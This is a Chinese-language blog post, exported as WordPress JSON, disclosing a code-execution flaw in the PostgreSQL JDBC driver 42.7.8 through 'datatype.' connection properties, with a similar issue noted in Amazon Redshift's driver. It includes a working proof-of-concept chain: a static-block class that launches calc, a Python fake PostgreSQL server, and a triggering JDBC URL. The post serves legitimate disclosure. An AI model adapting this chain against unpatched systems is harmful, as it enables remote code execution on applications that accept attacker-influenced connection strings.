{"id":4111,"date":"2026-01-27T22:17:03","date_gmt":"2026-01-27T14:17:03","guid":{"rendered":"https:\/\/fushuling.com\/?p=4111"},"modified":"2026-01-27T22:17:04","modified_gmt":"2026-01-27T14:17:04","slug":"postgresql-jdbc%e9%b8%a1%e8%82%8brce","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2026\/01\/27\/postgresql-jdbc%e9%b8%a1%e8%82%8brce\/","title":{"rendered":"postgresql jdbc\u9e21\u808bRCE"},"content":{"rendered":"\n

\u67d0\u6b21\u770b JDBC \u6e90\u7801\u7684\u65f6\u5019\u53d1\u73b0 postgresql-42.7.8 \u91cc\u6709\u4e00\u884c\u62bd\u8c61\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u53ef\u4ee5\u770b\u5230\u903b\u8f91\u8fd8\u662f\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u5f53\u53d1\u73b0\u67d0\u4e2a\u5c5e\u6027\u4ee5 datatype.<\/code>\u5f00\u5934\uff0c\u5c31\u4f1a\u76f4\u63a5\u7528 Class.forName<\/code>\u628a\u4f20\u5165\u7684\u503c\u5f53\u4f5c\u7c7b\u5f3a\u884c\u52a0\u8f7d\u8d77\u6765\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u4f1a\u7acb\u523b\u6267\u884c\u5b83 static<\/code> \u4ee3\u7801\u5757\u91cc\u5bf9\u5e94\u7684\u4ee3\u7801\uff0c\u867d\u7136\u5728\u540e\u9762\u7528 klass.asSubclass(org.postgresql.util.PGobject.class)<\/code> \u505a\u4e86\u4e00\u4e0b\u5bf9\u5e94\u7684\u68c0\u6d4b\uff0c\u4f46\u5f88\u663e\u7136\u8fd9\u65f6\u5019\u4ee3\u7801\u90fd\u6267\u884c\u5b8c\u4e86\u5df2\u7ecf\u65e0\u6d4e\u4e8e\u4e8b\u4e86\u3002<\/p>\n\n\n\n

\u5f53\u65f6\u611f\u89c9\u5982\u679c\u76f4\u63a5\u8c03\u7528\u539f\u751f\u7c7b\u7684 static<\/code> \u4ee3\u7801\u5757\uff0c\u6700\u591a\u4e5f\u5c31\u662f\u6d88\u8017\u4e00\u4e0b\u7cfb\u7edf\u8d44\u6e90\u5565\u7684\uff0c\u80fd dos<\/code>\u5c31\u4e86\u4e0d\u8d77\u4e86\uff0c\u8981\u60f3\u771f\u7684\u6709\u5371\u5bb3\u8fd8\u5f97\u662f\u653b\u51fb\u8005\u81ea\u5df1\u7528\u6587\u4ef6\u4e0a\u4f20\u4e4b\u7c7b\u7684\u65b9\u6cd5\u5728 static<\/code>\u5757\u91cc\u5199\u597d\u6076\u610f\u4ee3\u7801\u7136\u540e\u4f20\u8fdb classpath<\/code>\u91cc\uff0c\u8fd9\u65f6\u5c31\u80fd RCE \u4e86 \uff0c\u6bd4\u5982\u4e0b\u9762\u8fd9\u4e2a\u4f8b\u5b50\uff1a<\/p>\n\n\n\n

import java.io.IOException;\n\npublic class VerifyPoC {\n    static {\n        try {\n            Runtime.getRuntime().exec(\"calc\");\n        } catch (IOException e) {\n            throw new RuntimeException(e);\n        }\n    }\n    public void VerifyPoC() {\n    }\n}<\/code><\/pre>\n\n\n\n
\u7531\u4e8eJDBC \u9a71\u52a8\u7a0b\u5e8f\u4ec5\u5728\u8fde\u63a5\u63e1\u624b\u6210\u529f\u540e\u624d\u4f1a\u89e3\u6790\u6570\u636e\u7c7b\u578b\u53c2\u6570\uff0c\u6240\u4ee5\u8fd8\u9700\u8981\u8d77\u4e00\u4e2a\u5047\u7684 PostgreSQL \u670d\u52a1\u5668\u6765\u9a97\u4e00\u4e0b\u9a71\u52a8\uff1a<\/p>\n\n\n\n
import socket\nimport struct\nimport time\n\n\ndef run_fake_pg():\n    HOST = \"127.0.0.1\"\n    PORT = 5439\n\n    try:\n        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        server.bind((HOST, PORT))\n        server.listen(1)\n        print(f\"[+] \u5047 PostgreSQL \u670d\u52a1\u5df2\u542f\u52a8\uff0c\u76d1\u542c: {HOST}:{PORT}\")\n    except Exception as e:\n        print(f\"[-] \u7aef\u53e3\u542f\u52a8\u5931\u8d25: {e}\")\n        return\n\n    while True:\n        try:\n            print(\"[*] \u7b49\u5f85\u65b0\u7684\u8fde\u63a5...\")\n            conn, addr = server.accept()\n            print(f\"[!] \u6536\u5230\u8fde\u63a5: {addr}\")\n\n            # --- \u63e1\u624b\u9636\u6bb5 ---\n            data = conn.recv(1024)\n            # \u5904\u7406 SSL \u8bf7\u6c42\n            if len(data) >= 8 and data[4:8] == b\"\\x04\\xd2\\x16\\x2f\":\n                print(\"[*] \u6536\u5230 SSL \u534f\u5546\uff0c\u62d2\u7edd\u4e4b\")\n                conn.send(b\"N\")\n                data = conn.recv(1024)  # \u63a5\u6536\u771f\u6b63\u7684 StartupMessage\n\n            print(\"[*] \u6536\u5230\u542f\u52a8\u5305\uff0c\u5f00\u59cb\u4f2a\u88c5\u8ba4\u8bc1...\")\n\n            # 1. \u8ba4\u8bc1\u6210\u529f AuthenticationOK\n            conn.send(b\"R\" + struct.pack(\"!i\", 8) + struct.pack(\"!i\", 0))\n\n            # 2. \u53d1\u9001\u5fc5\u8981\u7684\u53c2\u6570 ParameterStatus\n            # \u5fc5\u987b\u53d1 server_version\uff0c\u5426\u5219\u9a71\u52a8\u53ef\u80fd\u62a5\u9519\n            for k, v in [\n                (\"server_version\", \"10.0\"),\n                (\"client_encoding\", \"UTF8\"),\n                (\"DateStyle\", \"ISO, MDY\"),\n            ]:\n                payload = k.encode() + b\"\\x00\" + v.encode() + b\"\\x00\"\n                conn.send(b\"S\" + struct.pack(\"!i\", 4 + len(payload)) + payload)\n\n            # 3. \u540e\u7aef\u5bc6\u94a5 BackendKeyData\n            conn.send(\n                b\"K\"\n                + struct.pack(\"!i\", 12)\n                + struct.pack(\"!i\", 1)\n                + struct.pack(\"!i\", 2)\n            )\n\n            # 4. \u51c6\u5907\u5c31\u7eea ReadyForQuery\n            conn.send(b\"Z\" + struct.pack(\"!i\", 5) + b\"I\")\n            print(\"[->] \u63e1\u624b\u5b8c\u6210\uff0c\u8fdb\u5165\u4ea4\u4e92\u6a21\u5f0f\")\n\n            # --- \u4ea4\u4e92\u9636\u6bb5 (\u5173\u952e\u4fee\u6539\u70b9) ---\n            # \u65e0\u8bba Driver \u53d1\u4ec0\u4e48\uff0c\u6211\u4eec\u90fd\u56de\u590d \"\u6267\u884c\u6210\u529f\" + \"\u51c6\u5907\u5c31\u7eea\"\n            while True:\n                data = conn.recv(4096)\n                if not data:\n                    print(\"[-] \u5ba2\u6237\u7aef\u65ad\u5f00\u8fde\u63a5\")\n                    break\n\n                # \u6253\u5370\u4e00\u4e0b\u9a71\u52a8\u53d1\u4e86\u4ec0\u4e48 (\u901a\u5e38\u662f Q \u5f00\u5934\u7684 Query)\n                # print(f\"[<] Driver \u8bf7\u6c42: {data[:20]}\")\n\n                # \u56de\u590d CommandComplete (\u6807\u8bc6 SQL \u6267\u884c\u5b8c\u6bd5)\n                # \u683c\u5f0f: 'C' + len + \"SELECT 1\" + \\0\n                tag = b\"SELECT 1\"\n                conn.send(b\"C\" + struct.pack(\"!i\", 5 + len(tag)) + tag + b\"\\x00\")\n\n                # \u56de\u590d ReadyForQuery (\u6807\u8bc6\u7a7a\u95f2\uff0c\u53ef\u4ee5\u63a5\u4e0b\u4e00\u4e2a\u6d3b\u4e86)\n                conn.send(b\"Z\" + struct.pack(\"!i\", 5) + b\"I\")\n\n        except ConnectionResetError:\n            print(\"[-] \u8fde\u63a5\u88ab\u91cd\u7f6e\")\n        except Exception as e:\n            print(f\"[-] \u53d1\u751f\u9519\u8bef: {e}\")\n        finally:\n            if \"conn\" in locals():\n                conn.close()\n\n\nif __name__ == \"__main__\":\n    run_fake_pg()<\/code><\/pre>\n\n\n\n
\u6700\u540e\u7528 postgresql jdbc \u89e6\u53d1 RCE\uff1a<\/p>\n\n\n\n
import java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.SQLException;\n\npublic class pgRCE {\n    public static void main(String[] args) throws SQLException {\n        String url = \"jdbc:postgresql:\/\/127.0.0.1:5439\/?datatype.poc=VerifyPoC&ssl=false\";\n        java.sql.DriverManager.getConnection(url, \"\", \"\");\n    }\n}<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u9664\u4e86 postgresql \u4ed6\u81ea\u5df1\uff0c\u4e00\u4e9b\u57fa\u4e8e postgresql \u5b9e\u73b0\u7684\u4e0b\u6e38\u9a71\u52a8\u4e5f\u6709\u7c7b\u4f3c\u7684\u95ee\u9898\uff0c\u6bd4\u5982\u4e9a\u9a6c\u900a\u7684 redshift\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u867d\u7136\u5382\u5546\u90fd\u8ba4\u53ef\u4e86\u6211\u7684\u62a5\u544a\u53d1\u8865\u4e01\u4fee\u590d\u4e86\uff0c\u7136\u800c\u90fd\u6ca1\u6c34\u5230 CVE \/(\u3112o\u3112)\/~~<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\"\"\/<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
\u67d0\u6b21\u770b JDBC \u6e90\u7801\u7684\u65f6\u5019\u53d1\u73b0 postgresql-42.7.8 \u91cc\u6709\u4e00\u884c\u62bd\u8c61\u7684\u4ee3\u7801\uff1a \u53ef\u4ee5\u770b\u5230\u903b\u8f91\u8fd8\u662f\u5f88 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4111","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=4111"}],"version-history":[{"count":1,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4111\/revisions"}],"predecessor-version":[{"id":4112,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4111\/revisions\/4112"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=4111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=4111"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=4111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}